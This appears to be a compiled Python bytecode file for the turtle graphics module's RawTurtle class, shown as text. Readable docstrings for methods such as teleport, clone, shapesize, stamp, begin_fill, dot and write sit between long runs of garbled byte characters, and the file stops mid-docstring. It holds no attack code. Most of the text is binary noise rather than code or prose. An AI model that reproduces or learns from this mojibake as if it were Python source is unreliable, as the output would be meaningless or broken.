RawTurtle._cc’ sÖ€ô �dœCÔ ØˆKð M؉GˆAˆq�!ð �;‰;× !Ñ ! SÒ (Ø01°1°a©yÓ9©y¨!”u˜U 1™W•~¨yÑ9‰GˆAˆq�!Ø�a”˜3• Q¨!¤]¨s¥]¸¸a¼À3¼Ü%Ð&>ÄÀTÃÑ&JÓKÐ KØ ! Q¨ Ñ*Ð*øô œ:Ð&ò MÜ%Ð&?Ä#ÀdÃ)Ñ&KÓLÐ Lð Müò:s”BºCÂ'CFrûrürýcóR—|j«}|j«}|r|jd¬«|r|s|j«|�|n|jd}|�|n|jd}t ||«|_|j|¬«|r|s|j «yyy)aZInstantly move turtle to an absolute position. Arguments: x -- a number or None y -- a number None fill_gap -- a boolean This argument must be specified by name. call: teleport(x, y) # two coordinates --or: teleport(x) # teleport to x position, keeping y as is --or: teleport(y=y) # teleport to y position, keeping x as is --or: teleport(x, y, fill_gap=True) # teleport but fill the gap in between Move turtle to an absolute position. Unlike goto(x, y), a line will not be drawn. The turtle's orientation does not change. If currently filling, the polygon(s) teleported from will be filled after leaving, and filling will begin again after teleporting. This can be disabled with fill_gap=True, which makes the imaginary line traveled during teleporting act as a fill barrier like in goto(x, y). Example (for a Turtle instance named turtle): >>> tp = turtle.pos() >>> tp (0.00,0.00) >>> turtle.teleport(60) >>> turtle.pos() (60.00,0.00) >>> turtle.teleport(y=10) >>> turtle.pos() (60.00,10.00) >>> turtle.teleport(20, 30) >>> turtle.pos() (20.00,30.00) FrINrrÊ)rOrCrWr?rãrr2)rÍrÅrÆrürYÚ was_fillingrÿrs r°rtzRawTurtle.teleport¡ s”€ðF—+‘+“-ˆØ—l‘l“nˆ Ù Ø �H‰H˜UˆHÔ #Ù ™xØ �M‰MŒOØ�]‘¨¯©°qÑ(9ˆØ�]‘¨¯©°qÑ(9ˆÜ˜u eÓ,ˆŒØ �‰˜ˆÔ!Ù ™xØ �O‰OÕ ð (ˆ;rÇcót—|j}|j|j«|j}d|_d|_t |«}||_||_||_t ||jj «|_|jj|«|j|jj j}|dk(r |j«|j_ nš|dk(r8|j|jdj«|j_ n]|dk(rX|j|jj jD�cgc]}|j«‘Œc}|j_ |j«|_|j#«|Scc}w)aCreate and return a clone of the turtle. No argument. Create and return a clone of the turtle with same position, heading and turtle properties. Example (for a Turtle instance named mick): mick = Turtle() joe = mick.clone() Nr4rýrˆr6)r•rcr;r”rrxr{r‹r�rzrr˜r}rÿr9rªrˆr´)rÍr•r”ÚqÚttyper±s r°r9zRawTurtle.cloneÑ sW€ð—‘ˆØ � ‰ �d—m‘mÔ$à—‘ˆØˆŒ ؈Œ ä �T‹NˆàˆŒ ؈Œ àˆŒÜ ¨¯ © ×(>Ñ(>Ó?ˆŒà�‰×јqÔ!Ø—‘˜tŸ{™{×5Ñ5Ñ6×<Ñ<ˆØ �IÒ Ø#×/Ñ/Ó1ˆA�H‰H�NØ �gÒ Ø#×0Ñ0°·±ÀÑ1H×1NÑ1NÓOˆA�H‰H�NØ �jÒ à$Ÿn™n¨T¯[©[×-CÑ-CÑD×JÒJóLÙJð8<˜f×0Ñ0Õ2ØJñLˆA�H‰HŒNà"×.Ñ.Ó0ˆÔØ � ‰ Œ ؈ùò LsÅ%F5cóÞ—|€|jjS||jj«vrt d|z«‚|jj |«|j «y)aßSet turtle shape to shape with given name / return current shapename. Optional argument: name -- a string, which is a valid shapename Set turtle shape to shape with given name or, if name is not given, return name of current shape. Shape with name must exist in the TurtleScreen's shape dictionary. Initially there are the following polygon shapes: 'arrow', 'turtle', 'circle', 'square', 'triangle', 'classic'. To learn about how to deal with shapes see Screen-method register_shape. Example (for a Turtle instance named turtle): >>> turtle.shape() 'arrow' >>> turtle.shape("turtle") >>> turtle.shape() 'turtle' NzThere is no shape named %s)r”r{r•rr1rzr´)rÍr s r°rlzRawTurtle.shapeù sZ€ð( ˆ<Ø—;‘;×)Ñ)Ð )Ø�t—{‘{×,Ñ,Ó.Ñ.Ü%Ð&BÀTÑ&IÓJÐ JØ � ‰ ×јdÔ#Ø � ‰ �rÇcó(—||cxur|cxur€!nn|j\}}|||jfS|dk(s|dk(r td«‚|� |€||f}n%||f}n |�|jd|f}n |j}|€ |j}|jd||¬«y)aOSet/return turtle's stretchfactors/outline. Set resizemode to "user". Optional arguments: stretch_wid : positive number stretch_len : positive number outline : positive number Return or set the pen's attributes x/y-stretchfactors and/or outline. Set resizemode to "user". If and only if resizemode is set to "user", the turtle will be displayed stretched according to its stretchfactors: stretch_wid is stretchfactor perpendicular to orientation stretch_len is stretchfactor in direction of turtles orientation. outline determines the width of the shapes's outline. Examples (for a Turtle instance named turtle): >>> turtle.resizemode("user") >>> turtle.shapesize(5, 5, 12) >>> turtle.shapesize(outline=8) Nrz(stretch_wid/stretch_len must not be zerorD)rbrar–)r=rAr1rW)rÍÚ stretch_widÚ stretch_lenr–ras r°rmzRawTurtle.shapesize s½€ð* ˜+Ó 8¨× 8Ø'+×':Ñ':Ñ $ˆK˜Ø  ¨T×-?Ñ-?Ð?Ð ?Ø ˜!Ò ˜{¨aÒ/Ü%Ð&PÓQÐ QØ Ð "ØÐ"Ø +¨[Ð 8‘ à +¨[Ð 8‘ Ø Ð $Ø ×/Ñ/°Ñ2°KÐ?‰Mà ×/Ñ/ˆMØ ˆ?Ø×(Ñ(ˆGØ �‰˜FØ,°gð õ ?rÇcóF—|€ |jS|jd|¬«y)a¾Set or return the current shearfactor. Optional argument: shear -- number, tangent of the shear angle Shear the turtleshape according to the given shearfactor shear, which is the tangent of the shear angle. DO NOT change the turtle's heading (direction of movement). If shear is not given: return the current shearfactor, i. e. the tangent of the shear angle, by which lines parallel to the heading of the turtle are sheared. Examples (for a Turtle instance named turtle): >>> turtle.shape("circle") >>> turtle.shapesize(5,2) >>> turtle.shearfactor(0.5) >>> turtle.shearfactor() >>> 0.5 NrD)rbro)r>rW)rÍÚshears r°rozRawTurtle.shearfactor< s%€ð& ˆ=Ø×$Ñ$Ð $Ø �‰˜F°ˆÕ6rÇcóV—tjddd¬«|j|«y)a{Rotate the turtleshape to point in the specified direction Argument: angle -- number Rotate the turtleshape to point in the direction specified by angle, regardless of its current tilt-angle. DO NOT change the turtle's heading (direction of movement). Deprecated since Python 3.1 Examples (for a Turtle instance named turtle): >>> turtle.shape("circle") >>> turtle.shapesize(5,2) >>> turtle.settiltangle(45) >>> turtle.stamp() >>> turtle.fd(50) >>> turtle.settiltangle(-45) >>> turtle.stamp() >>> turtle.fd(50) zturtle.RawTurtle.settiltangle()zn{name!r} is deprecated since Python 3.1 and scheduled for removal in Python {remove}. Use tiltangle() instead.)r†é )rÍN)ÚwarningsÚ _deprecatedrvrös r°rhzRawTurtle.settiltangleS s,€ô* ×ÑÐ>ðXà$+õ -ð �‰�uÕrÇcóF—|€Itj|j« |jz}||jz |j zS| |jz|jz}tj |«tjz}|jd|¬«y)aSet or return the current tilt-angle. Optional argument: angle -- number Rotate the turtleshape to point in the direction specified by angle, regardless of its current tilt-angle. DO NOT change the turtle's heading (direction of movement). If angle is not given: return the current tilt-angle, i. e. the angle between the orientation of the turtleshape and the heading of the turtle (its direction of movement). (Incorrectly marked as deprecated since Python 3.1, it is really settiltangle that is deprecated.) Examples (for a Turtle instance named turtle): >>> turtle.shape("circle") >>> turtle.shapesize(5, 2) >>> turtle.tiltangle() 0.0 >>> turtle.tiltangle(45) >>> turtle.tiltangle() 45.0 >>> turtle.stamp() >>> turtle.fd(50) >>> turtle.tiltangle(-45) >>> turtle.tiltangle() 315.0 >>> turtle.stamp() >>> turtle.fd(50) NrD)rbru) rÝr;r?ràrêrèr_rðrW)rÍrãrus r°rvzRawTurtle.tiltanglen s‰€ð> ˆ=Ü—L‘L §¡Ó,Ð,¨t×/@Ñ/@Ñ@ˆDؘ4×-Ñ-Ñ-°×1AÑ1AÑAÐ Aà�6˜D×.Ñ.Ñ.°×1BÑ1BÑBˆDÜ—<‘< Ó%¬¯©Ñ0ˆDØ �H‰H ¨TˆHÕ 2rÇcóH—|j||j«z«y)aÌRotate the turtleshape by angle. Argument: angle - a number Rotate the turtleshape by angle from its current tilt-angle, but do NOT change the turtle's heading (direction of movement). Examples (for a Turtle instance named turtle): >>> turtle.shape("circle") >>> turtle.shapesize(5,2) >>> turtle.tilt(30) >>> turtle.fd(50) >>> turtle.tilt(30) >>> turtle.fd(50) N)rvrös r°ruzRawTurtle.tilt• s€ð" �‰�u˜tŸ~™~Ó/Ñ/Õ0rÇcó$—||cxur|cxur|cxur € |jS|j\}}}}|�|}|�|}|�|}|�|}||z||zz dk(r td«‚||||f|_tj| |«tjz} tj | «tj | «} } | |z| |zz | |z| |zz | |z| |zz| |z| |zzf\} } }}| |f|_| |z |_| |_ |jd¬«y)aÒSet or return the current transformation matrix of the turtle shape. Optional arguments: t11, t12, t21, t22 -- numbers. If none of the matrix elements are given, return the transformation matrix. Otherwise set the given elements and transform the turtleshape according to the matrix consisting of first row t11, t12 and second row t21, 22. Modify stretchfactor, shearfactor and tiltangle according to the given matrix. Examples (for a Turtle instance named turtle): >>> turtle.shape("square") >>> turtle.shapesize(4,2) >>> turtle.shearfactor(-0.5) >>> turtle.shapetransform() (4.0, -1.0, -0.0, 2.0) Nrz0Bad shape transform matrix: must not be singularrDrE) r@r1rÝrrðrârár=r>r?rW)rÍÚt11Út12Út21Út22Úm11Úm12Úm21Úm22ÚalfarmrnÚa11Úa12Úa21Úa22s r°rnzRawTurtle.shapetransform¨ s=€ð( �#Ó +˜Ó + Ô +Ø×#Ñ#Ð #ð ,à!×-Ñ-шˆS�#�sØ ˆ? #˜CØ ˆ? #˜CØ ˆ? #˜CØ ˆ? #˜CØ �‰9�s˜S‘yÑ  AÒ %Ü%Ð&XÓYÐ YØ  c¨3Ð/ˆÔÜ�z‰z˜3˜$ Ó$¤t§x¡xÑ/ˆÜ—‘˜$“¤§¡¨$£ˆBˆØ  ™f r¨#¡v™o¨r°#©v¸¸3¹©Ø  ™f r¨#¡v™o¨r°#©v¸¸3¹©ð@шˆS�#�sà! 3˜hˆÔØ ™GˆÔ؈Œ Ø �‰˜FˆÕ#rÇc ój—|j}|j\}}|j\}}t|||jz|j z «}dt |«z |z\}}|D�� cgc]<\}} |||z|| zz|j z z|| |z|| zz|jz zf‘Œ>c} }Scc} }w)zlComputes transformed polygon shapes from a shape according to current position and heading. rŠ)r•rãrårr‘r�r) rÍr=r•Úp0Úp1Úe0Úe1ÚerÅrÆs r°Ú _polytrafozRawTurtle._polytrafoÐ sÀ𗑈ؗ‘‰ˆˆBØ—‘‰ˆˆBÜ �"�b˜6Ÿ=™=Ñ(¨6¯=©=Ñ8Ó 9ˆØœ˜A›‘, !Ñ#‰ˆˆBáIMôOÙIM¹vÀÀ1ð�R˜‘T˜"˜Q™$‘Y § ¡ Ñ-Ñ-¨r°B°3°q±5¸¸A¹±:¸v¿}¹}Ñ2LÑ/LÒMØIMòOð OùóOsÁ*AB/cóΗ|jj|jj}|jdk(r)|j |j |jdk(«Sy)a@Return the current shape polygon as tuple of coordinate pairs. No argument. Examples (for a Turtle instance named turtle): >>> turtle.shape("square") >>> turtle.shapetransform(4, -1, 0, 2) >>> turtle.get_shapepoly() ((50, -20), (30, 20), (-50, 20), (-30, -20)) r4r6N)r•rzr”r{rÚ _getshapepolyr9)rÍrls r°rHzRawTurtle.get_shapepolyÜ sS€ð— ‘ ×#Ñ# D§K¡K×$:Ñ$:Ñ;ˆØ �;‰;˜)Ò #Ø×%Ñ% e§k¡k°5·;±;À*Ñ3LÓMÐ Mð $rÇc󇇇‡—|jdk(s|r|j\ŠŠŠŠnE|jdk(r%td|jdz «}|dd|f\ŠŠŠŠn|jdk(r|St ˆˆˆˆfd„|D««S)z`Calculate transformed shape polygon according to resizemode and shapetransform. rDrCrÊg@rr�c3óP•K—|]\}}‰|z‰|zz‰|z‰|zzf–—Œy­wrÁré)r®rÅrÆr®r¯r°r±s €€€€r°r¯z*RawTurtle._getshapepoly..ø s3øèø€ÐJÁ'¹¸¸A�c˜!‘e˜c !™e‘m S¨¡U¨S°©U¡]Ô3Á'ùsƒ#&)r4r@Úmaxr7rÂ)rÍr4r6r&r®r¯r°r±s @@@@r°rÃzRawTurtle._getshapepolyí s†û€ð × Ñ ˜vÒ %©Ø!%×!1Ñ!1Ñ ˆC��c™3Ø × Ñ  Ò 'Ü�A�t—}‘} SÑ(Ó)ˆAØ!" A q¨! Ñ ˆC��c™3Ø × Ñ  Ò +؈NÜÖJÁ'ÓJÓJÐJrÇc ó˜—|j}|j|jj}|j}|jj }|j �rd|jdk(�rT|jdkD�rDd|_ |j}|dk(rŠ|jdk(rd}n(|jdk(r |j}n |j}|j|j|««}|j |j"}}|j%|||||d¬«y |d k(r|j'||j(|«y |d k(ryt+||«D]i\} \} }}|j|j| d««} |j%| | |j-|«|j-|«|jd¬«Œky y |jry |dk(r|j%|d d d «nZ|d k(r5|j'||j(|jdj«n |d k(r|D]} |j%| d d d «Œd|_ y )zpManages the correct rendering of the turtle with respect to its shape, resizemode, stretch and tilt etc.rFr4r�rÊrCT©rnr–r|r£rýr6N©rprprpr´rˆ)r•rzr”r{rr}r8rŠr‰r‡r9r4r7rArÁrÃr:r9r¥rrãÚzipr›) rÍr•rlr ÚtitemÚtshaper’ÚfcÚocr±r=s r°rÁzRawTurtle._drawturtleú s€ð—‘ˆØ—‘˜tŸ{™{×5Ñ5Ñ6ˆØ— ‘ ˆØ— ‘ ×!Ñ!ˆØ �;‹;˜6×0Ñ0°AÓ5¸&¿/¹/ÈAÓ:MØ',ˆDÔ $Ø—[‘[ˆFؘ Ò!Ø×#Ñ# zÒ1°q±1Ø×%Ñ%¨Ò/°T·]±]±Ø×+Ñ+�aØŸ™¨×(:Ñ(:¸6Ó(BÓC�ØŸ™¨$¯.©.�B�Ø× Ñ  ¨°BÀØ<=À4ð!õIà˜'Ò!Ø×!Ñ! %¨¯©¸Õ@ؘ*Ò$Ü,/°°vÖ,>Ñ(�D™.˜4  RØŸ?™?¨4×+=Ñ+=¸dÀDÓ+IÓJ�DØ×$Ñ$ T¨4°d·h±h¸r³lØ-1¯X©X°b«\À×ASÑASÐY]ð%õ_ñ-?ð%ð ×'Ò'ØØ˜ Ò!Ø× Ñ  Ð(@À"ÀbÕIؘ'Ò!Ø×!Ñ! %¨¯©Ø*0¯.©.¸Ñ*A×*GÑ*GõIà˜*Ò$Û!�DØ×$Ñ$ TÐ+CÀRÈÕLð"à'+ˆDÕ $rÇc ó—|j}|j|jj}|j}|j }|dk(rš|j «}|jdk(rd}n(|jdk(r |j}n |j}|j|j|««}|j|j}}|j|||||d¬«næ|dk(r/|jd«}|j!||j"|«n²|d k(r­g}|D]#} |j «} |j%| «Œ%t'|«}t)||«D]i\} \} }}|j|j| d««} |j| | |j+|«|j+|«|jd¬«Œk|j,j%«|j.j1d |f«|S) aÅStamp a copy of the turtleshape onto the canvas and return its id. No argument. Stamp a copy of the turtle shape onto the canvas at the current turtle position. Return a stamp_id for that stamp, which can be used to delete it by calling clearstamp(stamp_id). Example (for a Turtle instance named turtle): >>> turtle.color("blue") >>> turtle.stamp() 13 >>> turtle.fd(50) r4r�rÊrCTrÈrýr´r6rs)r•rzr”r{rr9r˜r4r7rArÁrÃr:r9r¥rÿrrãr�rÂrÊr›rŠrárH) rÍr•rlr rÌÚstitemr’rÍrÎÚelementr±r=s r°rszRawTurtle.stamp" sԀ𗑈ؗ‘˜tŸ{™{×5Ñ5Ñ6ˆØ— ‘ ˆØ—‘ˆØ �IÒ Ø×'Ñ'Ó)ˆFØ×Ñ :Ò-°1©qØ×!Ñ! VÒ+°·±©QØ×'Ñ'�!Ø—O‘O D×$6Ñ$6°vÓ$>Ó?ˆEØ—_‘_ d§n¡n�ˆBØ × Ñ ˜V U°¸RØ89¸tð õ Eà �gÒ Ø×(Ñ(¨Ó,ˆFØ × Ñ ˜f d§n¡n°fÕ =Ø �jÒ ØˆFÛ!�Ø×)Ñ)Ó+�Ø— ‘ ˜dÕ#ð"ô˜6“]ˆFÜ(+¨F°FÖ(;Ñ$�‘n�t˜R Ø—‘ t×'9Ñ'9¸$ÀÓ'EÓF�Ø× Ñ   t°$·(±(¸2³,Ø)-¯©°"«¸T×=OÑ=OÐUYð!õ[ð)<ð �‰×јvÔ&Ø �‰×јg vÐ.Ô/؈ rÇcój—||jvrit|t«r#|D]}|jj |«Œn|jj |«|jj |«d|f}|j }||jvry|jj|«}|jj |«||jkr!|jdz |jz|_ |jj|jdz|jzdg«y)z9does the work for clearstamp() and clearstamps() rsNrÊ) rŠrÒrÂr•r²rÍrárCÚindexrDrBÚinsert)rÍÚstampidÚsubitemr±ÚbufrÓs r°Ú _clearstampzRawTurtle._clearstampO sñ€ð �d—o‘oÑ %ܘ'¤5Ô)Û&�GØ—K‘K×'Ñ'¨Õ0ñ 'ð— ‘ ×#Ñ# GÔ,Ø �O‰O× "Ñ " 7Ô +ð˜Ð!ˆØ�o‰oˆØ �s—z‘zÑ !Ø Ø— ‘ × Ñ  Ó&ˆØ � ‰ ×ј$ÔØ �C—G‘GÒ Ø—w‘w ‘{ c§k¡kÑ1ˆCŒGØ � ‰ ×ј3Ÿ7™7 1™9 c§k¡kÑ1°D°6Õ:rÇcóF—|j|«|j«y)aDDelete stamp with given stampid Argument: stampid - an integer, must be return value of previous stamp() call. Example (for a Turtle instance named turtle): >>> turtle.color("blue") >>> astamp = turtle.stamp() >>> turtle.fd(50) >>> turtle.clearstamp(astamp) N)rØr´)rÍrÕs r°r7zRawTurtle.clearstampe s€ð ×јÔ!Ø � ‰ �rÇcóÀ—|€|jdd}n$|dk\r|jd|}n|j|d}|D]}|j|«Œ|j«y)aìDelete all or first/last n of turtle's stamps. Optional argument: n -- an integer If n is None, delete all of pen's stamps, else if n > 0 delete first n stamps else if n < 0 delete last n stamps. Example (for a Turtle instance named turtle): >>> for i in range(8): ... turtle.stamp(); turtle.fd(30) ... >>> turtle.clearstamps(2) >>> turtle.clearstamps(-2) >>> turtle.clearstamps() Nr)rŠrØr´)rÍrºÚtoDeleter±s r°r8zRawTurtle.clearstampst s_€ð$ ˆ9Ø—‘¡qÐ)‰HØ �!ŠVØ—‘ r¨Ð*‰Hà—‘ q rÐ*ˆHÛˆDØ × Ñ ˜TÕ "ðà � ‰ �rÇc óž—|j|j|jt|jt «f}|j }d|j|||j|jdd|j|j«|jddff}|jr|jj|«|j}|j�r1|jdk(�r!||z }|d|j zdz|d|j"zdzz}dt%|dzdd|jzz|jzz «z}|d |z z} t'd|«D]t} | dk(rd } nd } || | zz|_|jr?|j)|j*||jf|j|j| «|j-«Œv|jr)|j)|j*d d |j¬«|jr|jj/|«t|jt «r|jj/|«||_|j0r|j2j/|«t5|j«dkDr|j7«|j-«y)z˜Move the pen to the point end, thereby drawing a line if pen is down. All other methods for turtle movement depend on this one. ÚgoNrÊrrrƒr†çš™™™™™ñ?rŠTF©rprpr´©rnr|é*)r;r9r7rÒr†rór•rãrˆr‰r rørárHr<r‰r�r‘r¨r r­r‚r´r�r„rƒr rc) rÍrúÚgo_modesr•Ú undo_entryÚstartÚdiffÚdiffsqÚnhopsÚdeltarºr£s r°ròzRawTurtle._goto� s\€ð —]‘]Ø—^‘^Ø—]‘]Ü §¡´Ó5ð7ˆð—‘ˆØ˜DŸN™N¨C°Ø×+Ñ+Ø×&Ñ&¡qÐ)Ø×'Ñ'¨×(<Ñ(<Ó=Ø—j‘j¡�mð%ðˆ ð �?Š?Ø �O‰O× Ñ  Ô ,Ø—‘ˆØ �;‹;˜6Ÿ?™?¨aÓ/ؘ‘IˆDؘ1‘g˜fŸm™mÑ+¨aÑ/°4¸±7¸6¿=¹=Ñ3HÈ1Ñ2LÑLˆFØ”c˜6 3™;¨¨C°·±Ñ,<Ñ)=¸d¿k¹kÑ)IÑJÓKÑKˆEؘC ™IÑ&ˆEܘ1˜e–_�ؘ’6Ø‘Cà�CØ!&¨°©Ñ!2�”Ø—=’=Ø×$Ñ$ T×%9Ñ%9Ø&+¨T¯^©^Ð%<Ø%)§^¡^°T·]±]ÀCôIð— ‘ •ð%ð�}Š}Ø× Ñ  ×!5Ñ!5Ð7GØ46¸d¿m¹mð!ôMð �=Š=Ø × Ñ × #Ñ # CÔ (Ü �d—n‘n¤dÔ +Ø �N‰N× !Ñ ! #Ô &àˆŒØ × Ò Ø �J‰J× Ñ ˜cÔ "Ü ˆt×ÑÓ  2Ò %à �M‰MŒOØ � ‰ �rÇcóT—|\}}}}|\}}}} |\} } } } |j}t|j|z «dkDr td«| |_| |_| ddgk(rd}n|}|j | | ||¬«|jD�cgc]}|| vsŒ|j|«dk(r|‘Œ}}|D].}|j|«|jj|«Œ0|}|jrþ|jdk(rï||z }|d|jzd z|d|jzd zz}dt|dzd d |jzz|jzz «z}|d |z z}t!d|«D]V}|dk(rd }nd}|||zz|_|r+|j |j"||jf|||«|j%«ŒX|r|j |j"dd|¬«||_|j&rOt)|j*«dkDr|j*j-«|j*gk(rd|_d|_| rH|j.gk(rd|_td«n&|j.�|j.j-«|j%«ycc}w)z)Reverse a _goto. Used for undo() rƒz$undogoto: HALLO-DA-STIMMT-WAS-NICHT!rpr´ràr­rÊrrr†rÞrŠTFrßNzUnwahrscheinlich in _undogoto!)r•rrãr¥rˆr‰r­rørr²rÍr<r‰r�r‘r¨r r‚r´r„r rƒrJr†)rÍÚentryÚoldÚnewrâÚcoodataÚdrawingÚpcÚpsrCÚcLIÚcLr rør•Úusepcr Útodeleterärårærçrèrºr£s r°Ú _undogotozRawTurtle._undogotoÅ s¦€ð',Ñ#ˆˆS�(˜GØ#+Ñ ˆ��R˜Ø$шˆR��UØ—‘ˆÜ ˆt�~‰~ Ñ#Ó $ sÒ *Ü Ð9Ô :à"ˆÔ؈Ôà �&˜&Ð!Ò !؉EàˆEØ×ј˜b u°BÐÔ7à#ŸzšzóD™z˜!¨a°uªnØ(.¯ © °Q«¸6Ò(Aò˜zˆðDãˆAØ �N‰N˜1Ô Ø �J‰J× Ñ ˜aÕ ððˆØ �;Š;˜6Ÿ?™?¨aÒ/ؘ‘9ˆDؘ1‘g˜fŸm™mÑ+¨aÑ/°4¸±7¸6¿=¹=Ñ3HÈ1Ñ2LÑLˆFØ”c˜6 3™;¨¨C°·±Ñ,<Ñ)=¸d¿k¹kÑ)IÑJÓKÑKˆEؘC ™IÑ&ˆEܘ1˜e–_�ؘ’6Ø‘Cà�CØ!$ u¨q¡y¡�”ÙØ×$Ñ$ T×%9Ñ%9Ø&+¨T¯^©^Ð%<Ø%'¨¨Sô2ð— ‘ •ð%ñØ× Ñ  ×!5Ñ!5Ð7GØ46¸bð!ôBðˆŒð × Ò Ü�4—:‘:‹ Ò"Ø— ‘ —‘Ô Ø�z‰z˜RÒØ%*�Ô"Ø!�” Ù Ø�~‰~ Ò#Ø!%�”ÜÐ6Õ7Ø—‘Ð+Ø—‘×"Ñ"Ô$Ø � ‰ �ùòYDs  J%ÂJ%có$—|jr(|jjd||jf«||jz}|jj |«}|j j }|dk(r€|jdkDrqd|jz}dtt|«|z «z}d|z|z }t|«D]2}|jj |«|_|j«Œ4||_|j«y)z&Turns pen clockwise by angle. ÚrotrÊrg@rŠN) rárHrêrårçr•r‰r<r¨rr r´)rÍrãÚ neworientrÂÚanglevelr#rèrs r°r÷zRawTurtle._rotate sà€ð �?Š?Ø �O‰O× Ñ  %¨°×0BÑ0BÐ!CÔ DØ �×#Ñ#Ñ#ˆØ—L‘L×'Ñ'¨Ó.ˆ Ø—+‘+×&Ñ&ˆØ �aŠ<˜DŸK™K¨!šOؘTŸ[™[Ñ(ˆHØœœC ›J xÑ/Ó0Ñ0ˆEؘ‘I˜e‘OˆEܘ5–\�Ø#Ÿ|™|×2Ñ2°5Ó9�” Ø— ‘ •ð"ð!ˆŒ Ø � ‰ �rÇcóЗt|j«dkDr‹|jj|j|j|j |j «|jj«|_|jj|j«n'|jj|jd¬«g|_|r|jg|_yy)z¶Closes current line item and starts a new one. Remark: if current line became too long, animation performance (via _drawline) slowed down considerably. rÊT)r£N) r r‰r•r­rˆr9r7rªrør�rãrps r°rczRawTurtle._newLine s°€ô ˆt×ÑÓ  1Ò $Ø �K‰K× !Ñ ! $×"6Ñ"6¸×8HÑ8HØ&*§n¡n°d·m±mô Eà#'§;¡;×#:Ñ#:Ó#<ˆDÔ Ø �J‰J× Ñ ˜d×2Ñ2Õ 3à �K‰K× !Ñ ! $×"6Ñ"6¸DÐ !Ô A؈ÔÙ Ø $§¡Ð/ˆDÕ ð rÇcó6—t|jt«S)aReturn fillstate (True if filling, False else). No argument. Example (for a Turtle instance named turtle): >>> turtle.begin_fill() >>> if turtle.filling(): ... turtle.pensize(5) ... else: ... turtle.pensize(3) )rÒr†rórÚs r°rCzRawTurtle.filling( s€ô˜$Ÿ.™.¬$Ó/Ð/rÇcóv—|j«sD|jj«|_|jj |j«|j g|_|j«|jr'|jjd|jf«|j«y)a Called just before drawing a shape to be filled. No argument. Example (for a Turtle instance named turtle): >>> turtle.color("black", "red") >>> turtle.begin_fill() >>> turtle.circle(60) >>> turtle.end_fill() Ú beginfillN) rCr•r˜r…rør�rãr†rcrárHr´rÚs r°r2zRawTurtle.begin_fill6 sy€ð�|‰|Œ~Ø!Ÿ[™[×4Ñ4Ó6ˆDŒNØ �J‰J× Ñ ˜dŸn™nÔ -ØŸ.™.Ð)ˆŒØ � ‰ ŒØ �?Š?Ø �O‰O× Ñ  +¨t¯~©~Ð!>Ô ?Ø � ‰ �rÇcóp—|j«r¦t|j«dkDro|jj |j |j|j ¬«|jr'|jjd|j f«dx|_|_|j«yy)a Fill the shape drawn after the call begin_fill(). No argument. Example (for a Turtle instance named turtle): >>> turtle.color("black", "red") >>> turtle.begin_fill() >>> turtle.circle(60) >>> turtle.end_fill() rršÚdofillN) rCr r†r•r¥r…r:rárHr´rÚs r°r?zRawTurtle.end_fillK s†€ð �<‰<Œ>Ü�4—>‘>Ó" QÒ&Ø— ‘ ×%Ñ% d§n¡n°d·n±nØ+/¯?©?ð&ô<à—?’?Ø—O‘O×(Ñ(¨(°D·N±NÐ)CÔDØ.2Ð 2ˆDŒN˜Tœ^Ø �L‰L�Nð rÇcóX—|s}t|ttf«r5|j|«}|jt |jd«z}nh|j }|sZ|jt |jd«z}n6|€#|jt |jd«z}|j|«}|j«}|jr-|jjdg«d|j_ |j«dk(r|j«|j«|j|«|j|«|j!d«|j|«|jrd|j_ yy#|j|«wxYw)aÑDraw a dot with diameter size, using color. Optional arguments: size -- an integer >= 1 (if given) color -- a colorstring or a numeric color tuple Draw a circular dot with diameter size, using color. If size is not given, the maximum of pensize+4 and 2*pensize is used. Example (for a Turtle instance named turtle): >>> turtle.dot() >>> turtle.fd(50); turtle.dot(20, "blue"); turtle.fd(50) reNrTrCrF)rÒrrÂr«r7rÆr9rWrárHrErbrNrYrZrXrD)rÍr�r:rWs r°r=z RawTurtle.dot_ s:€ñܘ$¤¤e  Ô-ØŸ™ tÓ,�Ø—}‘}¤s¨4¯=©=¸!Ó'<Ñ<‘àŸ™�ÙØŸ=™=¬3¨t¯}©}¸aÓ+@Ñ@‘Dàˆ|Ø—}‘}¤s¨4¯=©=¸!Ó'<Ñ<�Ø—N‘N 5Ó)ˆEà�h‰h‹jˆØ �?Š?Ø �O‰O× Ñ  % Ô )Ø'+ˆD�O‰OÔ $ð Ø�‰Ó  FÒ*Ø—‘” Ø �L‰LŒNØ �L‰L˜Ô Ø �M‰M˜%Ô Ø �L‰L˜ŒOà �H‰H�SŒMØ �?Š?Ø',ˆD�O‰OÕ $ð øð �H‰H�S�Mús ÄA&FÆF)có—|jj|j||||j«\}}|j «|j j |«|jr|jjd|f«|S)z)Performs the writing for write() Úwri) r•rÏrãr9r´rør�rárH)rÍrÉrÊrÇr±rús r°rÏzRawTurtle._writeŠ sm€ð—K‘K×&Ñ& t§~¡~°s¸EÀ4Ø:>¿.¹.óJ‰ ˆˆcà � ‰ ŒØ � ‰ ×ј$ÔØ �?Š?Ø �O‰O× Ñ  %¨ Ô /؈ rÇcóT—|jr-|jjdg«d|j_|jt |«|j «|«}|r%|j «\}}|j||«|jrd|j_yy)a÷Write text at the current turtle position. Arguments: arg -- info, which is to be written to the TurtleScreen move (optional) -- True/False align (optional) -- one of the strings "left", "center" or right" font (optional) -- a triple (fontname, fontsize, fonttype) Write text - the string representation of arg - at the current turtle position according to align ("left", "center" or right") and with the given font. If move is True, the pen is moved to the bottom-right corner of the text. By default, move is False. Example (for a Turtle instance named turtle): >>> turtle.write('Home = ', True, align="center") >>> turtle.write((0,0), True) rTFN)rárHrErÏrr7r\rf)rÍÚargÚmoverÊrÇrúrÅrÆs r°r}zRawTurtle.write• s€ð& �?Š?Ø �O‰O× Ñ  % Ô )Ø'+ˆD�O‰OÔ $Ø�k‰kœ#˜c›( E§K¡K£M°4Ó8ˆÙ Ø—8‘8“:‰DˆAˆqØ �K‰K˜˜QÔ Ø �?Š?Ø',ˆD�O‰OÕ $ð rÇcó6—|jg|_d|_y)aStart recording the vertices of a polygon. No argument. Start recording the vertices of a polygon. Current turtle position is first point of polygon. Example (for a Turtle instance named turtle): >>> turtle.begin_poly() TN)rãrƒr„rÚs r°r3zRawTurtle.begin_poly² s€ð—n‘nÐ%ˆŒ Ø!ˆÕrÇcó—d|_y)a7Stop recording the vertices of a polygon. No argument. Stop recording the vertices of a polygon. Current turtle position is last point of polygon. This will be connected with the first point. Example (for a Turtle instance named turtle): >>> turtle.end_poly() FN)r„rÚs r°r@zRawTurtle.end_polyÀ s €ð#ˆÕrÇcóF—|j�t|j«Sy)zÔReturn the lastly recorded polygon. No argument. Example (for a Turtle instance named turtle): >>> p = turtle.get_poly() >>> turtle.register_shape("myFavouriteShape", p) 